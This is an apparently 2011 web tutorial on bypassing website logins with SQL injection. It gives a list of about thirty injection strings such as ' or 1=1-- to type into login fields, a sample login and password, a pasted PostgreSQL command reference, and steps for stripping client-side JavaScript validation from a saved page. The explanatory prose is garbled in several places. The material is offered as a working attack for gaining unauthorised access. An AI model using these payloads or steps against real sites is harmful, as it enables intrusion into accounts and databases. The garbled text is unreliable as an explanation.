Bypass Login On Websites With SQL Injection Explained

21/06/2011 09:24

For those of you who dont already know SQL injection is a technique used to exploit the vulnerability does not validate input to pass SQL commands through a web application for the construction of the database backend. Attackers exploit that programmers often chain SQL commands on a user supplied parameters, and, therefore, to enter the SQL commands within these parameters. The result is that a malicious user to execute arbitrary SQL queries and commands to the server back-end database through a web application.

A database is a table full of information on the public site and private, such as names, products, etc, are key components of Web applications. Databases enable Web applications to store data, preferences and content elements. The use of web applications to interact with SQL databases to dynamically generate custom data views for each user.

Data types:
Bypassing login scripts:
SQL injection strings and the DB doesnt matter.

') OR ('a' = 'a
') OR ('1'-'1
' OR '1=1
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--

Note: having 1=1--


Login: hi'or 1=1--
Password: hi'or 1=1--
SQL commands:
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table

DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transacti
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database
Input Validation can also ignore the evil BCoZ techniques.In multiple websites programming input validation is done client side, ie at the end of the browser using JavaScript. what u can do is open a page and save the page disk.Then RH to open an HTML page, an HTML editor (such as FrontPage or Dreamweaver or Notepad) and remove the input verification code java script code and then just go ahead.